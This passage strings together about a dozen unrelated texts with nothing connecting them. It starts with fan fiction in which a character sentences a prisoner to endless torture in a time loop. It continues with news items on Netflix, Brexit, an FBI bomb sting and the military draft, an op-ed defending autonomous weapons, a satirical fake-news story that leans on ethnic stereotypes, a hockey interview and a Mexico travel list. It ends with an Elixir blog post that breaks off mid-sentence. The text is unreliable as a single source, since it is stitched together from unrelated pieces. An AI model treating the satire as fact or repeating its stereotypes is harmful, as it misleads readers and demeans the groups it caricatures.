Rose tell you? For fun! I was stuck in sealed cell with no windows. Not even a bucket to shit in."  "You're immortal. You don't eat, so you don't shit," Rose retorted.  "Semantics! The important part of the story is that I got bored. I needed something to pass the time."  Penny nodded. "Explain to me what the curse was."  "Penny!" Rose exclaimed.  Crim smiled. "Why? Looking to learn it?"  Penny smiled a cruel smile. "Maybe."  He laughed. "The commoners that work here, and even my former collegues called it the Cycle, but I had a better name for it: Temporal Causality of Predetermined Phenomenon."  "So, Cycle for short," Penny jabbed. Rose smiled; Penny had gotten more human as she got older. Crime was annoyed by the insult.  "Basically, you set a time frame, and create a temporal reoccurrence...a time loop. But with each loop, a randomized algorithm changed things ever so slightly. Not enough to matter initially, but the small changes give way to much larger variations. A Butterfly Effect."  "What sort of changes."  "Oh, it could be anything. What shoes you put on, what cereal you eat for breakfast, which route you took to get to work, who you spoke too. Small changes on the first day that ultimately create large ripples in time space later down the line. In the case of Ruby Rose, she would make little changes in her efforts to save lives, ultimately leading everyone down a path that could destroy everything. In almost every Causality, she died."  Penny raised an eyebrow. "And what happened in the end?"  "Nik broke the Law of No Interference and destroyed the Harbinger comet, completely preventing the next Longest Night Causality. Then Valentine broke the curse, and my magic was stripped. The world of Remnant returned to a world of absolutes, and there have been no temporal distortions in the universe since...presumably."  "You broke that law first," Rose added.  "I didn't alter the fate of the world like he did. I just made poor Ruby Rose live though the same crisis over and over again."  Penny was lost in thought before she posed the next question. "How many times?"  "Pardon?"  "How many iterations did Ruby live through?"  He smiled. "One hundred fifteen thousand four hundred and fifty two."  Penny's eyes went wide. "Mother of God," she whispered.  "And she wasn't even cursed for all of them!" Crim yelled.  "What?!" the two women shouted.  "I was exhausted for two reasons. Yes, the anti-magic barrier was masking me, but I had alot of pent up Magicae that I had been saving up. I've successfully cast the Temporal Causality of Predetermined Phenominon three times, and partially cast it once. The once was for Ruby, thus why she could only remember the most recent iteration. A successful casting allows the target to remember every iteration. One of the successes was on myself, where I waited for Fear to be destroyed. He destroyed this universe one billion, four hundred thirty-six million, two hundred six thousand, seven hundred twenty-nine times before Lia stopped him. The second was on Lia herself. She's still cursed, and can't be cured, but she hasn't died yet so she's only physically seen this one timeline, but in tandem with her power of foresight, she can no longer predict the future because she can see every single possible outcome, and still not know which one to expect. The third..." he smiled. "Is still in place as well."  "Who did you curse, Crim!" Rose yelled.  His smile widened as he looked at Penny. "When my magic was stripped of me, I lost the ability to see her timelines. But rest assured, she's still caught in her Causality Loop. This timeline, the one we're currently in, is the only one where her life wasn't in a great deal of danger. Well, not like the other loops at least."  "Who did you curse, damn it!" Rose yelled again.  Staring deep into Penny's mechanical eyes, he whispered a name. A name that only Penny knew. "Weiss Schnee."  Her eyes widened. She stood to her feet and turned to leave. "I have a mission I must attend to," she said flatly.  Rose gasped. "But, Penny! You're friend is still caught in a time loop!"  "She's already dead in this timeline!" Penny snapped. "She died of a hereditary cancer when she was seventy-eight years old! I can't help her now. Now here."  "There must be something we can do!"  Penny stopped and turned around, staring straight into Crim's dark, insane eyes. She raised a hand and pointed it at him. "Connection to the Cauldron established. Performing mathematical determination: code word LAMBDA. Creating new file: Temporal Causality of Predetermined Phenomenon. Equations found and processed. Establishing barrier."  Rose jumped back, startled as a transparent green sphere erupted around Crim; it was covered in magic circles and mathematical symbols. "Hey! What the hell are you doing?" He studied the barrier and recognized the algorythm: it was his Causality spell. "You're going to trap me in a time loop? Ha! You'll never do it! Look!" He pointed at some of the equations on the barrier. "You don't even have the formula right!"  "I assure you," Penny said coldly. "I already know your method. I've simply improved upon it."  He spat. "So what? I put myself under a timeloop before, remember? I lived through the same ten thousand years over a billion times! That means I've seen ove-"  "Over 1.4362067e+13 times. I'm a machine, remember? I did the math in point-zero-zero-three seconds. But now its different. You have no way to control it, as I'm the caster. And I've mixed magic with science: something no other shifter has ever done before. My Causality curse is unbreakable by anyone but me. And, I'm going to send you to a separate plane of existence." She smiled. "You might like it. It's a mixture of reality and virtual reality. I have several digital copies of myself waiting for you there, ready to let you find out what it means to be in Hell."  Crim's face went pale with fear. "You wouldn't?"  "And I'll be standing here in your cell after every death you experience, completely oblivious to the timeloop that you're in. You'll beg me to break the curse, but I won't listen. I'll let you suffer for all of time." She smiled once again. "Goodbye." A rainbow flame enveloped Crim, and space popped as it was ripped asunder. When the flames died away, he was gone.  "Penny..." Rose began. "What have you done?"  "Nothing that Lia doesn't already know about," she said. Pausing for a moment, she added, "It's almost that time of year. I can't tell Ruby what I've done. I know she wouldn't approve. She'd have wanted me to forgive Crim. I'll tell her that he was so pitiful that I couldn't raise my hand to him. I'll say...that he's been punished enough." She nodded, turning to leave as she finished speaking. "I'm sorry for the trouble I've caused you, Rose."  "No...its...fine, I suppose." She sighed. If Lady Lia approved of this action, then I suppose I can't really say anything. "Where are you off to?"  "To Anima. Fortis should be waiting for me. Arletha is sending us to eliminate an outbreak of Wraiths. It's to be a covert mission."  "Ah, so its a mission for the Agents of Nacht." Rose nodded. "I understand. And tell Rune that I still want to join."  "If I see him, I'll let him know." With those parting words, she Shifted away to the world of Anima. The day after, she'd finish her mission, report to Lia, and then visit Remnant to see the graves of team RWBY. It was her tradition.  But on top of all that, she had a new delimma. Weiss is stuck in a time loop, she thought. I need to find a way to break her out of it, but first...  "I need to find her."
-Netflix has selected its next original series. The streamer announced Monday that it has ordered a psychological thriller from the creators of Damages.  The 13-episode run, produced by Sony Pictures Television, hails from Todd A. Kessler, Daniel Zelman and Glenn Kessler (KZK). It joins House of Cards, Orange Is the New Black, Hemlock Grove and the rebooted Arrested Development on Netflix's growing roster of originals.  Still untitled, the series focuses on a family of adult siblings whose secrets and scars come to light with the return of their black sheep brother.  "We were spellbound after hearing Todd, Glenn and Daniel's pitch and knew Netflix was the perfect home for this suspenseful family drama that is going to have viewers on the edge of their seats," said Netflix original content vp Cindy Holland. "Their work on Damages was truly ahead of its time and we're proud to be bringing our viewers this upcoming series."  PHOTOS: Exclusive Portraits of Netflix's Stars  Netflix began its rollout of original programming earlier in 2013. The Emmy-winning House of Cards scored a two-season order off the bat, while subsequent efforts Hemlock Grove and Orange Is the New Black earned renewals after their respective premieres. Arrested Development, revived at Netflix for a fourth season years after its conclusion on Fox, was only ordered for its recent summer run -- though both creator Mitch Hurwitz and Netflix chief content officer Ted Sarandos have spoken optimistically about doing more.  "We are absolutely thrilled to be creating an original series for Netflix -- a company committed to cutting-edge storytelling in a vibrant, new space," said the trio of co-creators in a joint statement. "We're equally excited about our relationship with Sony Pictures TV, which continues to provide us with unwavering creative support. We've always wanted to put our spin on a family saga and examine universal themes of family in a way that has never been seen before on television. The series is a tightly wound thriller that explores the complex bonds between parents and children, brothers and sisters, and the rivalries, jealousies, and betrayals at the core of every family."  "The guys worked so hard to come up with the right idea after the success of Damages," added Sony TV president of programming and production Jamie Erlicht. "It took almost a year to fully develop the pitch, and their patience paid off with the incredible reaction in the community, especially at Netflix, the perfect home for this show."  Damages, which launched on FX in 2007 and aired three seasons there before moving to DirecTV for its final two, was a critical smash -- despite relatively low ratings after its inaugural run. It earned 20 Emmy nominations over the course of five seasons, including two lead drama actress wins for star Glenn Close.  The news series is set to begin production in early 2014.
-US President Barack Obama has been accused of doing Downing Street's bidding - after he said the UK would be at "the back of the queue" for American trade deals if it left the EU.  Mr Obama was criticised by pro-Brexit campaigners after he warned of the consequences of the UK leaving the EU.  UKIP's Nigel Farage said Mr Obama was "talking down Britain", while Tory Liam Fox said his views were "irrelevant".  Mr Obama, on a three-day UK visit, will meet Labour leader Jeremy Corbyn later.  In a speech in London, the US president urged young people to "reject pessimism and cynicism" and to "know that progress is possible and our problems can be solved".  "Progress is not inevitable," he said and must be fought for. "Take a longer, more optimistic view of history."  Mr Obama's intervention on the EU issue came on his first full day in the UK and comes just weeks ahead of the 23 June in-out referendum.  Speaking at a joint news conference with Prime Minister David Cameron on Friday, Mr Obama said the US "wants Britain's influence to grow - including within Europe".  "The UK is at its best when it's helping to lead a strong European Union. It leverages UK power to be part of the EU.  "I don't think the EU moderates British influence in the world, it magnifies it."  Image copyright Kensington Palace Image caption Prince George, who was dressed in his pyjamas and slippers, stayed up to meet Mr and Mrs Obama at Kensington Palace on Friday evening  Image copyright PA Image caption The young prince gave his parents' dinner guests a demonstration of his riding skills  Image copyright Reuters Image caption Prince Harry joined the two couples for the evening  BBC political correspondent Iain Watson said Mr Obama's message on trade was "very blunt" and "really upped the ante" in the referendum debate.  Leave campaigner Mr Farage drew attention to the US president's terminology, saying his use of the phrase "back of the queue" rather than the more common American vernacular "back of the line" suggested Mr Obama was doing the prime minister's "bidding".  "I think that's shameful," he added.  Mr Fox said Mr Obama would be leaving the White House soon, and therefore his comments were "largely irrelevant".  New markets  Conservative MP Dominic Raab labelled Mr Obama a "lame-duck American president doing an old British friend a political favour".  Downing Street rejected suggestions that any lines had been fed to Mr Obama, saying the US president spoke for himself.  Sir Andrew Cahn, a former chief executive of UK Trade & Investment, told BBC Radio 4's Today programme that Britain would "miss out on something very important and valuable" if it left the EU and was not part of a proposed trade deal between the bloc and the US.  Former foreign secretary Lord Owen said "Britain needs to create new markets away from the EU".  Media playback is unsupported on your device Media caption London Mayor Boris Johnson has said that he finds the US's "lectures" on EU referendum "paradoxical [and] very odd"  Meanwhile, another prominent Leave campaigner - former cabinet minister Iain Duncan Smith - has tried to move the referendum debate on to immigration.  In an article in the Daily Mail, he says the introduction of a national living wage - a move he supported while in government - will "surely lead to another stampede to our borders".  He adds: "To make the Living Wage work for British people, we need to be able to control the number of people coming in."  Image caption Mr Obama (far left) watched actors at the Globe perform scenes from Hamlet  Earlier on Saturday, Mr Obama visited the Globe Theatre, where celebrations marking the 400th anniversary of Shakespeare's death are taking place.  He watched actors perform several scenes from Hamlet, later joining them on stage.  "That was wonderful. I didn't want it to stop," he said.  Later, he will hold talks with Labour leader Mr Corbyn.  EU referendum: In depth  Image copyright Reuters  The UK's EU vote: All you need to know  EU for beginners: A guide  Is Britain safer in or out of the EU?  A-Z guide to EU-speak  Who's who: The Vote Leave team  Who's who: The Remain campaign
-OKLAHOMA CITY -- The family of a man accused of attempting to detonate what he believed was an explosives-laden van outside an Oklahoma bank says he is a paranoid schizophrenic and that the FBI knew it.  Clifford and Melonie Varnell, of Sayre, Oklahoma, issued a statement late Tuesday that questions the tactics undercover FBI agents used to arrest 23-year-old Jerry Drake Varnell. He was taken into custody early Saturday for the alleged plot to detonate a vehicle bomb in an alley adjacent to BancFirst in downtown Oklahoma City.  Varnell, who lives with his mother and stepfather in Sayre, about 130 miles west of Oklahoma City, is jobless due to his schizophrenia and does not have the resources to carry out such an act alone, according to the family's statement.  Oklahoma man accused of plotting U.S. bomb attack in custody  "The FBI came and picked him up from our home, they gave him a vehicle, gave him a fake bomb, and every means to make this happen," the statement said, adding that authorities "should not have aided and abetted a paranoid schizophrenic to commit this act."  FBI spokeswoman Jessica Rice in Oklahoma City and Assistant U.S. Attorney Scott Williams declined comment Wednesday.  Varnell "has suffered through countless serious full-blown schizophrenic delusional episodes and he has been put in numerous mental hospitals since he was 16 years old," the family's statement said. It added that his parents are his legal guardians and do all they can "to keep him safe and functional."  "The mental health system has consistently failed us due to the lack of establishments and health care coverage for a person like him," the statement said. Varnell takes medication "but he will never be completely functional in life," it said.  The Varnells say their son is easily influenced and they believe a confidential informant who tipped FBI agents off to the alleged plot may have helped inspire it.  A criminal complaint says the FBI sent an undercover agents posing as an explosives expert who could help Varnell after being tipped off to the alleged plot by the confidential informant, the complaint says. Varnell allegedly claimed to have experience making small bombs, but was convinced by an undercover agent that the agent should provide the supplies.  Ultimately, officials say Varnell was provided with faux bomb making materials. Varnell was monitored closely for months as the alleged bomb plot developed during a long-term domestic terror investigation, federal prosecutors say.  The complaint says Varnell initially wanted to blow up the Federal Reserve Building in Washington, D.C., with a device similar to the 1995 Oklahoma City bombing, because he was upset with the government.  Varnell allegedly later identified BancFirst in downtown Oklahoma City as his target, according to federal prosecutors. When asked why he switched to BancFirst instead of the government building he originally planned, he said, "Well I don't wanna kill a bunch of people," the complaint said.  Varnell allegedly referenced the movie "Fight Club" when he discussed wanting to "take down a government facility or other structures."  Varnell allegedly claimed to embrace the "Three Percenter" ideology, referring to a far-right anti-government group that has rallied against gun control efforts and pledges resistance to the federal government over the infringement of constitutional rights.  In a series of text messages exchanged with the FBI's informant, Varnell "claimed to have a bunker for when the world collapsed" and indicated he was trying to build a team, the complaint states.  "I'm out for blood," the complaint quotes Varnell's texts as stating. "When militias start getting formed I'm going after government officials when I have a team."  The complaint says Varnell prepared a statement to be posted on social media after the explosion, helped assemble what he thought was the explosive device, and helped load it into what he believed was a stolen van. Varnell then allegedly drove the van to BancFirst, parked it in an alley next to the building and dialed a number on a cellphone he believed would trigger the explosion.  A federal detention hearing for Varnell is scheduled on Aug. 22. If convicted of attempting to use explosives to destroy a building in interstate commerce, Varnell could receive five to 20 years in prison.  His court-appointed defense attorney, Terri Coulter of Oklahoma City, declined comment.
-Presumptive Democratic presidential nominee Hillary Clinton looks on during a campaign rally at Sacramento City College on June 5, 2016 in Sacramento, California. (Photo by Justin Sullivan/Getty Images)  Hillary Clinton was one of the many women to respond to the Senate’s approval Tuesday of a Hillary Clinton was one of the many women to respond to the Senate’s approval Tuesday of a bill requiring women to register for the draft when they turn 18. Clinton told The Huffington Post that she supports the measure, though she continues to favor an all-volunteer military, which the U.S. has had since 1973.  “I am on record as supporting the all-volunteer military, which I think at this time does serve our country well,” Clinton told The Huffington Post. “And I am very committed to supporting and really lifting up the men and women in uniform and their families.”  Sen. Claire McCaskill, a Democrat from Missouri, said after the vote that “it’s just a matter of time” until women are treated equally in the military. The reaction from women outside of politics, including commenters on Women in the World’s Sen. Claire McCaskill, a Democrat from Missouri, said after the vote that “it’s just a matter of time” until women are treated equally in the military. The reaction from women outside of politics, including commenters on Women in the World’s Facebook page , was decidedly more diverse.  “Equal pay and Full Control of our bodies. Then we can talk,” Luna Kelley wrote on Facebook.  “Not until the military starts taking sexual assault cases seriously. We shouldn’t have a draft anyways,” Gabrielle Morrow said.  Brandy Naugle said that if a draft were enacted and women were forced to serve, “the US government would be forced to confront the realities of the female body, mind, and possibilities.”  “I think this would be a big step toward real female empowerment and also a general change in attitude toward the quickness in going to war. I see this as potentially a very good thing,” Naugle wrote.  Read the full story at The Huffington Post and see all of the comments at Women in the World on Facebook .  Related:
-Photo-illustration: Colin Anderson/Getty Images We’re not going to be able to prevent autonomous armed robots from existing. The real question that we should be asking is this: Could autonomous armed robots perform better than armed humans in combat, resulting in fewer casualties on both sides?  Advertisement  Yesterday, an open letter was presented at the International Joint Conference on Artificial Intelligence in Buenos Aires, Argentina, calling for a “ban on offensive autonomous weapons.” A bunch of people signed it, including “more than 1,000 experts and leading robotics researchers.” And I mean, of course they’d sign it, because who would seriously be for “killer robots?”  I am.  Here’s the letter in full:  Autonomous Weapons: an Open Letter from AI & Robotics Researchers Autonomous weapons select and engage targets without human intervention. They might include, for example, armed quadcopters that can search for and eliminate people meeting certain pre-defined criteria, but do not include cruise missiles or remotely piloted drones for which humans make all targeting decisions. Artificial Intelligence (AI) technology has reached a point where the deployment of such systems is — practically if not legally — feasible within years, not decades, and the stakes are high: autonomous weapons have been described as the third revolution in warfare, after gunpowder and nuclear arms. Many arguments have been made for and against autonomous weapons, for example that replacing human soldiers by machines is good by reducing casualties for the owner but bad by thereby lowering the threshold for going to battle. The key question for humanity today is whether to start a global AI arms race or to prevent it from starting. If any major military power pushes ahead with AI weapon development, a global arms race is virtually inevitable, and the endpoint of this technological trajectory is obvious: autonomous weapons will become the Kalashnikovs of tomorrow. Unlike nuclear weapons, they require no costly or hard-to-obtain raw materials, so they will become ubiquitous and cheap for all significant military powers to mass-produce. It will only be a matter of time until they appear on the black market and in the hands of terrorists, dictators wishing to better control their populace, warlords wishing to perpetrate ethnic cleansing, etc. Autonomous weapons are ideal for tasks such as assassinations, destabilizing nations, subduing populations and selectively killing a particular ethnic group. We therefore believe that a military AI arms race would not be beneficial for humanity. There are many ways in which AI can make battlefields safer for humans, especially civilians, without creating new tools for killing people. Just as most chemists and biologists have no interest in building chemical or biological weapons, most AI researchers have no interest in building AI weapons — and do not want others to tarnish their field by doing so, potentially creating a major public backlash against AI that curtails its future societal benefits. Indeed, chemists and biologists have broadly supported international agreements that have successfully prohibited chemical and biological weapons, just as most physicists supported the treaties banning space-based nuclear weapons and blinding laser weapons. In summary, we believe that AI has great potential to benefit humanity in many ways, and that the goal of the field should be to do so. Starting a military AI arms race is a bad idea, and should be prevented by a ban on offensive autonomous weapons beyond meaningful human control.  The main point in the body of this letter seems to be that unless we outlaw autonomous weapons right now, there will be some sort of arms race that will lead to the rapid advancement and propagation of things like autonomous “armed quadcopters,” eventually resulting in technology that’s accessible to anyone if they want to build a weaponized drone.  The problem with this argument is that no letter, UN declaration, or even a formal ban ratified by multiple nations is going to prevent people from being able to build autonomous, weaponized robots. The barriers keeping people from developing this kind of system are just too low. Consider the “armed quadcopters.” Today you can buy a smartphone-controlled quadrotor for US $300 at Toys R Us. Just imagine what you’ll be able to buy tomorrow. This technology exists. It’s improving all the time. There’s simply too much commercial value in creating quadcopters (and other robots) that have longer endurance, more autonomy, bigger payloads, and everything else that you’d also want in a military system. And at this point, it’s entirely possible that small commercial quadcopters are just as advanced as (and way cheaper than) small military quadcopters, anyway. We’re not going to stop that research, though, because everybody wants delivery drones (among other things). Generally speaking, technology itself is not inherently good or bad: it’s what we choose to do with it that’s good or bad, and you can’t just cover your eyes and start screaming “STOP!!!” if you see something sinister on the horizon when there’s so much simultaneous potential for positive progress.  “What we really need is a way of making autonomous armed robots ethical, because we’re not going to be able to prevent them from existing”  What we really need, then, is a way of making autonomous armed robots ethical, because we’re not going to be able to prevent them from existing. In fact, the most significant assumption that this letter makes is that armed autonomous robots are inherently more likely to cause unintended destruction and death than armed autonomous humans are. This may or may not be the case right now, and either way, I genuinely believe that it won’t be the case in the future, perhaps the very near future. I think that it will be possible for robots to be as good (or better) at identifying hostile enemy combatants as humans, since there are rules that can be followed (called Rules of Engagement, for an example see page 27 of this) to determine whether or not using force is justified. For example, does your target have a weapon? Is that weapon pointed at you? Has the weapon been fired? Have you been hit? These are all things that a robot can determine using any number of sensors that currently exist.  It’s worth noting that Rules of Engagement generally allow for engagement in the event of an imminent attack. In other words, if a hostile target has a weapon and that weapon is pointed at you, you can engage before the weapon is fired rather than after in the interests of self-protection. Robots could be even more cautious than this: you could program them to not engage a hostile target with deadly force unless they confirm with whatever level of certainty that you want that the target is actively engaging them already. Since robots aren’t alive and don’t have emotions and don’t get tired or stressed or distracted, it’s possible for them to just sit there, under fire, until all necessary criteria for engagement are met. Humans can’t do this.  The argument against this is that a robot autonomously making a decision to engage a target with deadly force, no matter how certain the robot may be, is dangerous and unethical. It is dangerous, and it may be unethical, as well. However, is it any more dangerous or unethical than asking a human to do the same thing? The real question that we should be asking is this: Could autonomous armed robots perform better than armed humans in combat, resulting in fewer casualties (combatant or non-combatant) on both sides? I believe so, which doesn’t really matter, but so do people who are actually working on this stuff, which does.  In 2009, Ronald C. Arkin, Patrick Ulam, and Brittany Duncan published a paper entitled “An Ethical Governor for Constraining Lethal Action in an Autonomous System,” which was about how to program an armed, autonomous robot to act within the Laws of War and Rules of Engagement. h+ Magazine interviewed Arkin on the subject (read the whole thing here), and here’s what he said:  h+: Some researchers assert that no robots or AI systems will be able to discriminate between a combatant and an innocent, that this sensing ability currently just does not exist. Do you think this is just a short-term technology limitation? What such technological assumptions do you make in the design of your ethical governor? RA: I agree this discrimination technology does not effectively exist today, nor is it intended that these systems should be fielded in current conflicts. These are for the so-called war after next, and the DoD would need to conduct extensive additional research in order to develop the accompanying technology to support the proof-of-concept work I have developed. But I don’t believe there is any fundamental scientific limitation to achieving the goal of these machines being able to discriminate better than humans can in the fog of war, again in tightly specified situations. This is the benchmark that I use, rather than perfection. But if that standard is achieved, it can succeed in reducing noncombatant casualties and thus is a goal worth pursuing in my estimation.  One way to think about this is like autonomous cars. Expecting an autonomous car to keep you safe 100 percent of the time is unrealistic. But, if an autonomous car is (say) 5 percent more likely to keep you safe than if you were driving yourself, you’d still be much better off letting it take over. Autonomous cars, by the way, will likely be much safer than that, and it’s entirely possible that autonomous armed robots will be, too. And if autonomous armed robots really do have at least the potential reduce casualties, aren’t we then ethically obligated to develop them?  If there are any doubts about how effective or ethical these systems might be, just test them exhaustively. Deploy them, load them up with blanks, and watch how they do. Will they screw up sometimes? Of course they will, both during testing and after. But setting aside the point above about relative effectiveness, the big advantage of robots is that their behavior is traceable and they learn programmatically: if one robot does something wrong, it’s possible to trace the chain of decisions that it made (decisions programmed into it by a human, by the way) to find out what happened. Once the error is located, it can be resolved, and you can be confident that the robot will not make that same mistake again. Furthermore, you can update every other robot at the same time. This is not something we can do with humans.  “I’m not in favor of robots killing people. If this letter was about that, I’d totally sign it. But that’s not what it’s about; it’s about the potential value of armed autonomous robots, and I believe that this is something that we need to have a reasoned discussion about rather than banning.”  I do agree that there is a potential risk with autonomous weapons of making it easier to decide to use force. But, that’s been true ever since someone realized that they could throw a rock at someone else instead of walking up and punching them. There’s been continual development of technologies that allow us to engage our enemies while minimizing our own risk, and what with the ballistic and cruise missiles that we’ve had for the last half century, we’ve got that pretty well figured out. If you want to argue that autonomous drones or armed ground robots will lower the bar even farther, then okay, but it’s a pretty low bar as is. And fundamentally, you’re then placing the blame on technology, not the people deciding how to use the technology.  And that’s the point that I keep coming back to on this: blaming technology for the decisions that we make involving it is at best counterproductive and at worst nonsensical. Any technology can be used for evil, and many technologies that were developed to kill people are now responsible for some of our greatest achievements, from harnessing nuclear power to riding a ballistic missile into space. If you want to make the argument that this is really about the decision to use the technology, not the technology itself, then that’s awesome. I’m totally with you. But banning the technology is not going to solve the problem if the problem is the willingness of humans to use technology for evil: we’d need a much bigger petition for that.  I want to be very clear about this: I’m not in favor of robots killing people. If this letter was about that, I’d totally sign it. But that’s not what it’s about; it’s about the potential value of armed autonomous robots, and I believe that this is something that we need to have a reasoned discussion about rather than banning. I’m open to the fact that I might be quite wrong about every point that I’ve made here, but the important thing is to be able to reach an informed decision rather than just demanding to outlaw “killer robots.”*
-Sports teams looking to play on the Halifax Wanderers Grounds this summer will have to move elsewhere as the city looks to revamp the playing field.  The city put out a tender Thursday for irrigation and turf improvements, including players benches, a new scoreboard, sod and fencing.  The work on the field nestled between the Public Gardens and Citadel Hill is supposed to begin this spring. The city wants work completed by Sept. 1, said city spokeswoman Tiffany Chase.  "Certainly the quality of the field at the Wanderers Grounds has been identified as requiring improvements, and so that's why it has been on the list for capital upgrades," she said.  "The project is slated to move forward this season in 2017, and so we will be looking for those turf improvements, and [to] improve irrigation that should provide a higher quality surface."  In 2015, an international rugby match on the Wanderers Grounds had to be moved to a different field. At that time, the match organizer said there was not enough grass to make it safe for the players after a harsh winter left bare patches of soil.  The field is often used by football, rugby and ultimate Frisbee teams, which won't be able to book field time during construction.  "Of course we're going to be losing a good portion of this season because we're going to be having construction underway on that field. So we wanted it to reopen as soon as possible so groups can book that facility," said Chase.
-Catcalls and sexual harassment have always been a woman’s burden, but now men can experience the terror of being the opposite sex from the safety of a controlled environment. A group of feminists have developed WatchOut, a virtual reality experience that allows men the opportunity to experience misogyny for ten horrifying minutes at a time.  Feminist activist Susan Carr developed WatchOut as a tool to help bridge the gender divide when it comes to public harassment. “I don’t think men realize that being a woman in public is like living under the Gestapo, and I speak for all women” said Carr. “The virtual experiences we have created are not easy, but I think it’s an excellent way to spread awareness about the state of women’s rights in the Western world.”  WatchOut is designed to simulate real-world situations that women encounter through the use of VR headsets and a fully immersive audio system. Male participants are asked to remove their shoes and put on tight-fitting high heels before entering the simulation to complete the experience of being a middle-class female college student. Multiple scenarios can be pre-selected by the user, including walking past a 7-Eleven at midnight, not smiling while snacking at an office party and texting “where is this going?” to a guy after the first date.  “The insults sounded so real – I felt like I was really there,” said Tommy Bronner, a college student who learned about WatchOut in a Gender Studies class. “The virtual black guys were calling me ‘snow-white’ and trying to give me their phone numbers, and I was just minding my own business trying to order an apple martini.”  Another WatchOut user, football player Marcus Freeman, was impressed by the realism of the experience. “I picked the one night stand simulation and was blown away by how realistic it was. After we had sex, the guy said he was tired and that I couldn’t use his phone charger on my dead phone because he ‘needed it.’ Then he asked me to leave and, of course, I started my period a week early while walking home.”  WatchOut is still under development, but Carr hopes that her creation will find a distributor in the coming months. “I want all elementary school boys to see the impact of catcalling and slut shaming while they’re still young, so I’m hoping WatchOut will one day be incorporated into the public school curriculum.”  Carr has also said that she will be adding new scenarios to both enhance the simulations and attract a broader audience. “I challenge men who think sexism is dead to put on a sexy dress and walk past a group of hispanic construction workers.”  Advertisements
-Aside from getting to the net, the winger also recorded 33 assists that year, helping lead St. Louis to the Western Conference Final. There, he would top off his dream season with a game-winning overtime goal against Colorado for the only win the team saw in third round.  Unforgettable - that's the best way to describe Scott Young's 2000-01 campaign. That's the season Young became a 40-goal-scorer - an individual accomplishment the Blues wouldn't see again for another six seasons.  The three-time-Olympian was acquired by the Blues in 1998, initially spending four seasons with the club before returning for his final season in 2005. In total, he tallied 253 regular season points in the Blue Note.  We caught up with Young from his home in Boston to reflect on his epic season and find out how he's gotten back to his roots since retirement.  BLUES: Not many players achieve a 40-goal season. What was that 2000-01 campaign like for you?  YOUNG: It's a year I'll never forget, because we had a heck of a hockey team. And of course to reach that individual goal was great. I really clicked with Pierre Turgeon. He was a heck of a playmaker. I just remember having to get my stick on the ice and he was going to find me. We just had great chemistry, and it's something I'll always look back on and be proud of.  BLUES: St. Louis is where you spent a good portion of your professional career. It's also where you had your best individual season and where you retired from the game. Do you have a favorite memory from your time here?  YOUNG: There are so many good memories there. The people I met outside of hockey were tremendous people. And the support from the fans…I'm from Boston where the fans are pretty harsh to their own players. I hear it on the radio every day. St. Louis was just different… very supportive through thick and thin. And even though it isn't a great memory because it was tough, the fact that we got so close playing against Colorado in the Conference Final…we felt like we really had the team that year to win the Stanley Cup. The feeling in the city that season was just electric.  BLUES: You're now an assistant coach at Boston University, where you played collegiate hockey. What's it like to be coaching where it all started?  YOUNG: It's really a lot of fun. It's extremely busy…there's a lot that assistant coaches have to do in college hockey, because it's not like pro hockey where scouters scout and coaches coach. Coaches scout, breakdown film and coach. They deal with players and their grades, behavior and admissions. But it's really a lot of fun to work with these players and watch them get better. They're elite players. We have four first-round draft picks on our team right now. So you know that these players have a really good chance of playing in the NHL, so to be able to work with them and develop the relationships is extremely rewarding.  BLUES: With most of your focus on college hockey, do you still keep up with the Blues?  YOUNG: I do, but it can be difficult with how busy we are, but I do pull for the Blues. I brought my son out to Game 5 last year in Chicago and got to see [Kelly Chase] the night before, and a lot of the staff. Obviously they won that series, and I was pulling for them to win the Cup. I'm dying to see the Blues win the Cup. No fan base deserves it more, especially now that the Cubs fans got theirs!  BLUES: Now that you've been coaching for a while, how do you think will it feel to switch roles and be a player again at the Winter Classic Alumni game?  YOUNG: I can't wait for it! I love playing still. Anytime I can play for charity or anything like that I do. I even sometimes suit up for the Bruins Alumni out here even though I never played for the Bruins. I just love playing and getting back with the guys and back in the locker room. Being a big event like this….it's going to be a blast. I can't tell you how much I'm looking forward to it!
-Note: Before we began our drive from NYC to Argentina, we considered completely skipping over Mexico because we were terrified by endless news reports of constant violence. Our plan was to fly to Guatemala, buy a car, and start driving from there. After speaking to some travelers, we decided to start our drive in NYC and pass through Mexico. We thought it would only take days, but Mexico hooked us in. These are just a few things we learned after a month in this amazing country.  1. Hole in the wall restaurant owners may also be former luchadors (Mexican professional wrestlers) and regale you with stories from their times in the ring… you don’t know until you ask.  2. Baby goat, cabrito, is a popular dish in northern Mexico. If you ask, you might be able to help prepare one (i.e., chop one in half with a meat cleaver).  Find these tacos in Guanajuato. Whatever it takes. No matter the cost. It will be worth it.  3. The 8 peso (50 cent) tacos from a street stall will be the best tacos you’ve ever had. If you’re spending more than that on a taco you’re getting ripped off (try out the taco stall, Taco’s Campeon, across from the Santa Fe tunnel in Guanajuato for the best ones we’ve come across).  4. You do not get instantly murdered or kidnapped when you cross the Mexican border. In fact, despite what you read in the news, there’s almost a 0% chance of this happening - hundreds of thousands of people do it every day.  Absolutely magico  5. A stroll through Zacatecas at night will be one of the most enchanting walks of your life. Golden lights bathe the colonial era buildings, creating a cityscape unlike anywhere else in the world.  6. Mexico City is infinite, containing a piece of every type of world in this one city. But in general, it is more modern than many American cities.  7. Burritos are an American obsession. Tacos, tortas and quesadillas dominate the cheap food landscape south of the border.  8. Cancun, Puerto Vallarta, Los Cabos, Tulum… these are all amazing destinations, but they don’t tell the full story of Mexico. There is another side of Mexico outside of the resort, a Mexico with a different type of unimaginable beauty, awaiting you with open arms and delicious tacos. Check out Guanajuato, San Cristobal de Las Casas, or the small beaches of Oaxaca for incredibly unique and authentic experiences.
-Edit 2016/4/29 I have written a follow-up piece to this blog post.  As many of you probably know, I am a professional programmer. I started my professional career with WordPress and PHP development, and now I find myself doing a lot of Ruby work. I am still in the very early stages of my professional career — I have only been doing this for about 5 years. There are people who are much more experienced than I am, and there is a whole world of things that I have yet to learn and experience.  Until recently, I’ve been relatively reluctant to change. I just wanted to get something done, using the tools I’m most familiar with. In the first few years of my career, that was PHP. After learning and getting used to Ruby and Rails, that’s been my go-to language and framework.  However, I’ve decided to throw caution in the wind, and choose a new language that I’m going to be using going forward: Elixir.  Every programming language has something that irks somebody. The thing that irks me about Ruby is its lack of a really robust concurrency model. There have been experiments in EventMachine — evented I/O like Node, Rubinius and JRuby — real threads, Unicorn — forking (!). But none of these solutions are particularly elegant. Relying on forking for concurrency, even with copy-on-write, is not efficient at all. (Read more about concurrency and Ruby: Matz is not a threading guy)  Enter Elixir. Elixir is a language that runs on top of the Erlang VM. The Erlang environment is something special, I think. It’s built from the ground up with concurrency 